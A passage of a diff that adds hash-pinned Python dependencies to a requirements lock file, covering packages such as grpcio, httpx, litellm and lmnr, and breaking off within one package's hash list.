--hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ + --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d +huggingface-hub==0.35.3 \ + --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ + --hash=sha256:350932eaa5cc6a4747efae85126ee220e4ef1b54e29d31c3b45c5612ddf0b32a +idna==3.15 \ + --hash=sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8 \ + --hash=sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc +importlib-metadata==8.5.0 \ + --hash=sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b \ + --hash=sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7 +inquirerpy==0.3.4 \ + --hash=sha256:89d2ada0111f337483cb41ae31073108b2ec1e618a49d7110b0d7ade89fc197e \ + --hash=sha256:c65fdfbac1fa00e3ee4fb10679f4d3ed7a012abf4833910e63c295827fe2a7d4 +jaraco-classes==3.4.0 \ + --hash=sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd \ + --hash=sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790 +jaraco-context==6.1.0 \ + --hash=sha256:129a341b0a85a7db7879e22acd66902fda67882db771754574338898b2d5d86f \ + --hash=sha256:a43b5ed85815223d0d3cfdb6d7ca0d2bc8946f28f30b6f3216bda070f68badda +jaraco-functools==4.4.0 \ + --hash=sha256:9eec1e36f45c818d9bf307c8948eb03b2b56cd44087b3cdc989abca1f20b9176 \ + --hash=sha256:da21933b0417b89515562656547a77b4931f98176eb173644c0d35032a33d6bb +jeepney==0.9.0 \ + --hash=sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683 \ + --hash=sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732 +jinja2==3.1.6 \ + --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \ + --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67 +jiter==0.11.0 \ + --hash=sha256:07630bb46ea2a6b9c6ed986c6e17e35b26148cce2c535454b26ee3f0e8dcaba1 \ + --hash=sha256:089f9df9f69532d1339e83142438668f52c97cd22ee2d1195551c2b1a9e6cf33 \ + --hash=sha256:09858f8d230f031c7b8e557429102bf050eea29c77ad9c34c8fe253c5329acb7 \ + --hash=sha256:11840d2324c9ab5162fc1abba23bc922124fedcff0d7b7f85fffa291e2f69206 \ + --hash=sha256:11df2bf99fb4754abddd7f5d940a48e51f9d11624d6313ca4314145fcad347f0 \ + --hash=sha256:144fc21337d21b1d048f7f44bf70881e1586401d405ed3a98c95a114a9994982 \ + --hash=sha256:1d4a6c4a737d486f77f842aeb22807edecb4a9417e6700c7b981e16d34ba7c72 \ + --hash=sha256:1d9637eaf8c1d6a63d6562f2a6e5ab3af946c66037eb1b894e8fad75422266e4 \ + --hash=sha256:1dc6a123f3471c4730db7ca8ba75f1bb3dcb6faeb8d46dd781083e7dee88b32d \ + --hash=sha256:25a5b1110cca7329fd0daf5060faa1234be5c11e988948e4f1a1923b6a457fe1 \ + --hash=sha256:25c625b9b61b5a8725267fdf867ef2e51b429687f6a4eef211f4612e95607179 \ + --hash=sha256:29ed1fe69a8c69bf0f2a962d8d706c7b89b50f1332cd6b9fbda014f60bd03a03 \ + --hash=sha256:29fff31190ab3a26de026da2f187814f4b9c6695361e20a9ac2123e4d4378a4c \ + --hash=sha256:2fb7b377688cc3850bbe5c192a6bd493562a0bc50cbc8b047316428fbae00ada \ + --hash=sha256:3893ce831e1c0094a83eeaf56c635a167d6fa8cc14393cc14298fd6fdc2a2449 \ + --hash=sha256:4441a91b80a80249f9a6452c14b2c24708f139f64de959943dfeaa6cb915e8eb \ + --hash=sha256:452d13e4fd59698408087235259cebe67d9d49173b4dacb3e8d35ce4acf385d6 \ + --hash=sha256:452d80a1c86c095a242007bd9fc5d21b8a8442307193378f891cb8727e469648 \ + --hash=sha256:494ba627c7f550ad3dabb21862864b8f2216098dc18ff62f37b37796f2f7c325 \ + --hash=sha256:4ad8bd82165961867a10f52010590ce0b7a8c53da5ddd8bbb62fef68c181b921 \ + --hash=sha256:4ee5821e3d66606b29ae5b497230b304f1376f38137d69e35f8d2bd5f310ff73 \ + --hash=sha256:4f01a744d24a5f2bb4a11657a1b27b61dc038ae2e674621a74020406e08f749b \ + --hash=sha256:53933a38ef7b551dd9c7f1064f9d7bb235bb3168d0fa5f14f0798d1b7ea0d9c5 \ + --hash=sha256:5661469a7b2be25ade3a4bb6c21ffd1e142e13351a0759f264dfdd3ad99af1ab \ + --hash=sha256:572208127034725e79c28437b82414028c3562335f2b4f451d98136d0fc5f9cd \ + --hash=sha256:5a7092b699646a1ddc03a7b112622d9c066172627c7382659befb0d2996f1659 \ + --hash=sha256:5beb56d22b63647bafd0b74979216fdee80c580c0c63410be8c11053860ffd09 \ + --hash=sha256:63782a1350917a27817030716566ed3d5b3c731500fd42d483cbd7094e2c5b25 \ + --hash=sha256:6e2bbf24f16ba5ad4441a9845e40e4ea0cb9eed00e76ba94050664ef53ef4406 \ + --hash=sha256:719891c2fb7628a41adff4f2f54c19380a27e6fdfdb743c24680ef1a54c67bd0 \ + --hash=sha256:76c15ef0d3d02f8b389066fa4c410a0b89e9cc6468a1f0674c5925d2f3c3e890 \ + --hash=sha256:7764f27d28cd4a9cbc61704dfcd80c903ce3aad106a37902d3270cd6673d17f4 \ + --hash=sha256:7b13a431dba4b059e9e43019d3022346d009baf5066c24dcdea321a303cde9f0 \ + --hash=sha256:8e36924dad32c48d3c5e188d169e71dc6e84d6cb8dedefea089de5739d1d2f80 \ + --hash=sha256:8fe6530aa738a4f7d4e4702aa8f9581425d04036a5f9e25af65ebe1f708f23be \ + --hash=sha256:902b43386c04739229076bd1c4c69de5d115553d982ab442a8ae82947c72ede7 \ + --hash=sha256:97025d09ef549795d8dc720a824312cee3253c890ac73c621721ddfc75066789 \ + --hash=sha256:9a6dff27eca70930bdbe4cbb7c1a4ba8526e13b63dc808c0670083d2d51a4a72 \ + --hash=sha256:a1b7cbe3f25bd0d8abb468ba4302a5d45617ee61b2a7a638f63fee1dc086be99 \ + --hash=sha256:a4d71d7ea6ea8786291423fe209acf6f8d398a0759d03e7f24094acb8ab686ba \ + --hash=sha256:a624d87719e1b5d09c15286eaee7e1532a40c692a096ea7ca791121365f548c1 \ + --hash=sha256:a9d0146d8d9b3995821bb586fc8256636258947c2f39da5bab709f3a28fb1a0b \ + --hash=sha256:adcab442f4a099a358a7f562eaa54ed6456fb866e922c6545a717be51dbed7d7 \ + --hash=sha256:af62e84ca3889604ebb645df3b0a3f3bcf6b92babbff642bd214616f57abb93a \ + --hash=sha256:b0f32e644d241293b892b1a6dd8f0b9cc029bfd94c97376b2681c36548aabab7 \ + --hash=sha256:b1ae2a7593a62132c7d4c2abbee80bbbb94fdc6d157e2c6cc966250c564ef774 \ + --hash=sha256:b42c2cd74273455ce439fd9528db0c6e84b5623cb74572305bdd9f2f2961d3df \ + --hash=sha256:b7b0178417b0dcfc5f259edbc6db2b1f5896093ed9035ee7bab0f2be8854726d \ + --hash=sha256:b8da18a99f58bca3ecc2d2bba99cac000a924e115b6c4f0a2b98f752b6fbf39a \ + --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:bf11807e802a214daf6c485037778843fadd3e2ec29377ae17e0706ec1a25758 \ + --hash=sha256:c0a7f0ec81d5b7588c5cade1eb1925b91436ae6726dc2df2348524aeabad5de6 \ + --hash=sha256:c2d13ba7567ca8799f17c76ed56b1d49be30df996eb7fa33e46b62800562a5e2 \ + --hash=sha256:c59459beca2fbc9718b6f1acb7bfb59ebc3eb4294fa4d40e9cb679dafdcc6c60 \ + --hash=sha256:c5e86126d64706fd28dfc46f910d496923c6f95b395138c02d0e252947f452bd \ + --hash=sha256:c6f3b32bb723246e6b351aecace52aba78adb8eeb4b2391630322dc30ff6c773 \ + --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cb5d9db02979c3f49071fce51a48f4b4e4cf574175fb2b11c7a535fa4867b222 \ + --hash=sha256:cdef53eda7d18e799625023e1e250dbc18fbc275153039b873ec74d7e8883e09 \ + --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ + --hash=sha256:d067655a7cf0831eb8ec3e39cbd752995e9b69a2206df3535b3a067fac23b032 \ + --hash=sha256:d50880a6da65d8c23a2cf53c412847d9757e74cc9a3b95c5704a1d1a24667347 \ + --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 \ + --hash=sha256:dbe2196c4a0ce760925a74ab4456bf644748ab0979762139626ad138f6dac72d \ + --hash=sha256:dd4ca85fb6a62cf72e1c7f5e34ddef1b660ce4ed0886ec94a1ef9777d35eaa1f \ + --hash=sha256:df64edcfc5dd5279a791eea52aa113d432c933119a025b0b5739f90d2e4e75f1 \ + --hash=sha256:df7f1927cbdf34cb91262a5418ca06920fd42f1cf733936d863aeb29b45a14ef \ + --hash=sha256:e35d66681c133a03d7e974e7eedae89720fe8ca3bd09f01a4909b86a8adf31f5 \ + --hash=sha256:e4ffd3b0fff3fabbb02cc09910c08144db6bb5697a98d227a074401e01ee63dd \ + --hash=sha256:e71ae6d969d0c9bab336c5e9e2fabad31e74d823f19e3604eaf96d9a97f463df \ + --hash=sha256:e7d0bed3b187af8b47a981d9742ddfc1d9b252a7235471ad6078e7e4e5fe75c2 \ + --hash=sha256:e84e58198d4894668eec2da660ffff60e0f3e60afa790ecc50cb12b0e02ca1d4 \ + --hash=sha256:f0062dab98172dd0599fcdbf90214d0dcde070b1ff38a00cc1b90e111f071982 \ + --hash=sha256:f05d03775a11aaf132c447436983169958439f1219069abf24662a672851f94e \ + --hash=sha256:f637b8e818f6d75540f350a6011ce21252573c0998ea1b4365ee54b7672c23c5 \ + --hash=sha256:f6fe0283e903ebc55f1a6cc569b8c1f3bf4abd026fed85e3ff8598a9e6f982f0 \ + --hash=sha256:fb4790497369d134a07fc763cc88888c46f734abdd66f9fdf7865038bf3a8f40 \ + --hash=sha256:ff85fc6d2a431251ad82dbd1ea953affb5a60376b62e7d6809c5cd058bb39471 +joserfc==1.7.5 \ + --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ + --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea +json-repair==0.60.1 \ + --hash=sha256:841661cdd2df507c9a4e189097f38ca6bc372e06d4b4e36d72e590f68176c290 \ + --hash=sha256:ba6ff974f2a8bef2f7768144a7f03f870a816443f03da27a49cdd0ec31a78049 +jsonref==1.1.0 \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 +jsonschema==4.23.0 \ + --hash=sha256:d71497fef26351a33265337fa77ffeb82423f3ea21283cd9467bb03999266bc4 \ + --hash=sha256:fbadb6f8b144a8f8cf9f0b89ba94501d143e50411a1278633f56a7acf7fd5566 +jsonschema-path==0.3.4 \ + --hash=sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001 \ + --hash=sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8 +jsonschema-specifications==2025.9.1 \ + --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ + --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d +keyring==25.7.0 \ + --hash=sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f \ + --hash=sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b +libtmux==0.53.0 \ + --hash=sha256:024b7ae6a12aae55358e8feb914c8632b3ab9bd61c0987c53559643c6a58ee4f \ + --hash=sha256:1d19af4cea0c19543954d7e7317c7025c0739b029cccbe3b843212fae238f1bd +litellm==1.93.0 \ + --hash=sha256:0784172435de48f66ef7ad89d421604db1ad0db1321ef7f39dbcfe6b20111417 \ + --hash=sha256:140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec \ + --hash=sha256:1a476ebc340c070c982eab15b4673fa63a70f5936935f9f20e4d2acb5f35d23b \ + --hash=sha256:23b8eea4fb8b3b6ade05e7b6085ec9ca12daffcfb38d033d0bbce9c1d5894da5 \ + --hash=sha256:3daf5c5aceb07f5d68871071e0ecdc678caccebadca9143cc00bb76f5a8c54e8 \ + --hash=sha256:460001b7c88c5b6675ad482ae3cecba96e21f890604b4febb1a67807ace1c750 \ + --hash=sha256:5d84aead083d3d0619b2d293f8006ebbe75611bbdcef470d659c9e2d131d4454 \ + --hash=sha256:6b49f653e6205cbc725257da8797277f77065c69865fb3489bc5ed0896b66ee0 \ + --hash=sha256:952029d422c2cec8117b444d66d6de87ac970ecf0b2e1383b02788ef90ba3603 \ + --hash=sha256:98c15e84d32e922a821c105308bf9ddae8700de9ed396530bee2cbb1cacf4cbb \ + --hash=sha256:cd70ccd4ba3ef1a395535c287bce72d30c7d937ecca4290c0db37a00738f7ada +lmnr==0.7.60 \ + --hash=sha256:35076b302a8f4349824deb08f79d1c7e4c2486b5a14704c0e6efee9879942096 \ + --hash=sha256:efec73de28eb8b66bcda6aaab7db0bda8247a26f982e63295a754412bee607f0 +lmnr-claude-code-proxy==0.1.23 \ + --hash=sha256:0147eecb2704a39eceaf01a23768be1de49c3f2f909d5ad5e5ad5a1c8a4b8d94 \ + --hash=sha256:0c5274ed1c40f5a2d2b7a6bfe6dc6f6d11d59df068b6054630df022d841d2624 \ + --hash=sha256:0ca8b8badb3bf137fc58cf3e98542869d983691b91d431508c1f92d8c7b1267c \ + --hash=sha256:0ec17fcfb579d36086016897fbdf9e0a1a85cf0f53ac7520cc783b1b25ded4a2 \ + --hash=sha256:0fd8e1bfeef82802c8a74533a6d27e7c7912c7db68358ca67976f1635311503f \ + --hash=sha256:11411e4d46b243cef6f5600c72b6fdb0c2f1fd071a6089675f59e74daeb6aa61 \ + --hash=sha256:1304486204ddc39a3f5639153df6ae4ee53152ea83063b0ce3331360f05ee026 \ + --hash=sha256:145c2e2c86c9257170669d85c243cb954a501f4a52206475094ab39d2805cd75 \ + --hash=sha256:14ff23a1fe48b548fe2ff7e8da8237938be23058de31163b59b0ce264f2e2ab7 \ + --hash=sha256:15e67cac22abca8931f2f8dda9fdfee61368b765d35fb57d61944a664e801ed3 \ + --hash=sha256:1784002f3872b08ff8b54599b66bf03c4e7590628d0448cf05fbd62ccbcf9f74 \ + --hash=sha256:18147e58da5c3cd2901adfbbdf0851c5aef4a0feb0fed66732f4f0ef64549531 \ + --hash=sha256:1b04bca678761d37e60508494b8c04c3368bf23bd6569a4d215e93ca5daac89a \ + --hash=sha256:207f6d423467909a130308d2c33eba05b25232e6934c9c23b928b24037d51f3b \ + --hash=sha256:21fdef811f3f06fc507ffd795bca64a21b525faa7f3f6e2f33856910d0f96192 \ + --hash=sha256:26b71b4f076de9ce0e6aa32e62ca6c7b88e486b0c857a90e2a97371acaaee651 \ + --hash=sha256:29e19c7fb7d14e6df820a6c2e4a8ee62f13974fc23d966086a75f1d3d90bc68a \ + --hash=sha256:2d6c4bf49bd060146577022d2f45a9921ce5604289d7f52db357fd3d5aeac838 \ + --hash=sha256:362a7f216c6deaed257966d0ea1e65a00a8eff744b9b3e928076a74671caf5e4 \ + --hash=sha256:3e2f8574de9a42d00aff458e26209f822e2cbba0f2fdb2419129f43e913cf50f \ + --hash=sha256:3e9b4491021a0438da3b4fc7889a6c0ab9311cef8dd5e08a55fb76cf7a788a16 \ + --hash=sha256:4083bb4e785a65efe555a17a5084717f00c9090a43c525e9de81413238081d94 \ + --hash=sha256:44b270a4c40daf3b11a5d96694357c4ff99842e82c514281b2910eae4a5d653a \ + --hash=sha256:453b68f8797fc80d51ec3c361b978d8f0b76b69351e7e1c1edb83e849baa5e78 \ + --hash=sha256:48479d6205854919139c748cac2407a39061eca363ce00a2664e05623933cada \ + --hash=sha256:4a42afb4bc589f0d1d6947b88d8a33e3c44029620212d143320875a3d997331a \ + --hash=sha256:4fdc8e561222dda30eb68026f8d149e3b908b79a4c8bd1042d28b1b22b1eeafc \ + --hash=sha256:50a9659f4e06cdf783740cef04811e09017e091993da2d26aafef6e0cc1526a9 \ + --hash=sha256:53c6d47ad2bea70dda75a642a3d8fa7b4fbb68c718958d37a5f994ff6f98d210 \ + --hash=sha256:5853e6fa123af8611c53b3fcac86231a6944d0861fe7808cdc2281c8168d66bd \ + --hash=sha256:59ff635d101028a7ffa8c067e78e512d8bd5d7d3700fefdda505852572963fb6 \ + --hash=sha256:5b59f21e7baa11212e61a300736fca7c2a724950811f1301e605c7d08c886fd5 \ + --hash=sha256:5bb8df798ad59b5ba096a7ce1c9a1a08fab5fcb9a6701b3e304bac6a060f109c \ + --hash=sha256:5e67485c946f716e6f4c7522c67ecb0a7925f3ed15a0d40bafd4632409c1acc6 \ + --hash=sha256:5f90acf340a618cfa445bcff29b0c942f231368fcaaca590755ca47960437373 \ + --hash=sha256:6230105ae1c3d949468322b578a46e6988db6568b8c2aec16d1d7f8e0e1f53de \ + --hash=sha256:6704d8e779950f643c901d1c298428ed06eb331f6e86dd95758fd89ebb17f9cb \ + --hash=sha256:68fdb6a26d30977b5d4e7ce4a117b2a427a16b1cc0d075f4cecd1839da12975a \ + --hash=sha256:6bfb54627cf1a400e18e4c51a7bcb312da1bac701ef56059c82f094d5edf75c7 \ + --hash=sha256:6d0d891c9788976bf632ffa16071db309eaaf0bf86640d0f7e44b6dcd1862859 \ + --hash=sha256:6d7fe54463ff075d557dc1941d7d271bc79e2663e2a90ab1ff45594804b6958c \ + --hash=sha256:6d8fa044c2f5774a6b70de9025a91c13c74361d4349ae528b4b4fcca48219a13 \ + --hash=sha256:70a55b0444d72683dcb0e8aa916396adc1ee6bf8a570201838014bca68ad0f47 \ + --hash=sha256:7164c71707717a6e242ef5fe0ddeb33095a69e8566a80bb979f4d81037e4dcf2 \ + --hash=sha256:7192a72122633ce7d92e2ae4d3df53854c2aa3dddccf4f8c5155d0dfe3e574ab \ + --hash=sha256:724ac0371eef99c034762521e580a986fc2b012ffc8c650dd8d66f1765d9a102 \ + --hash=sha256:73ee1db2ca4dc65fa6e508e2bd2ed3f5b587556947f06c3959c31dae9fdfedef \ + --hash=sha256:757d76c5b9e0ec6a27709b6f05d92c00337e9b0073bccea55423a3b60bf70863 \ + --hash=sha256:791e9ce9e2b0e47198d0cab2231a7d041d212154411e3d8a9ee102142d3ec0a4 \ + --hash=sha256:7b883a547e444a095f93eebbc42ed0d27e84346d986251097b7cb62fc2a0a492 \ + --hash=sha256:7c372c3678aa21d422644bef5955a68b4b53cafb40a0c0804b09eab418443fb8 \ + --hash=sha256:8646625c70cd2730799e6d3266cf42af86c47101e7eae7254e2c6b482c4db05f \ + --hash=sha256:86e6ddde60929cb93ef147e67e49bc7c8b9c0c1211e2c7ea733f8fb199d57f01 \ + --hash=sha256:879bfcbdbb49b63e59a96bc74f9d965ad9124bb187872dbd62b55f8b66944de1 \ + --hash=sha256:88c39ab3a86fcafcad48297bda0f91bd1b2d0e4d9dbf4ac2a94e7ecace3f6165 \ + --hash=sha256:8b43a95fdf053fc4ebc0723363d9f88aa5060078733f9df6b3e991235c473a96 \ + --hash=sha256:8f6bbe713911d12488eb45caf9975f69a1a4fa4bc6cc03d397efd9f80e4f9d90 \ + --hash=sha256:920823de554bfca598b54e98b504e6b289ce1823bd5bae24a930609b0d985b57 \ + --hash=sha256:92233f1c19971678225ac884d26b77cbbe9e90ec0a154752f8feee9ffa3f21c2 \ + --hash=sha256:94b03990cce9b39617bde8d11f31fd729cee358e340fc7b209e0edc23120a870 \ + --hash=sha256:962aafb103e435461a66c3ca0a77bfddb7d2bde5abe56922f418076472eb27cc \ + --hash=sha256:97bd9997af125df8f2a0fb72ac135c0c0fe89ae67f497ac5da51b45ac142f5a4 \ + --hash=sha256:9be0acab96f30922acc9f548f5a21395110f0f9303799140915e1e8ac719e867 \ + --hash=sha256:9cccd9219743a8539ab9711fe01e84eb91d95388b19a3bfaa0d215cc946d7bf2 \ + --hash=sha256:9d45b36dca5031e131c2caa96ece02add03f590749acc8c15a9e43a3c9a072e1 \ + --hash=sha256:9e7a58160b8c327e9fddbba828c86bb1084967519a160ae4f64d0ae01d65730b \ + 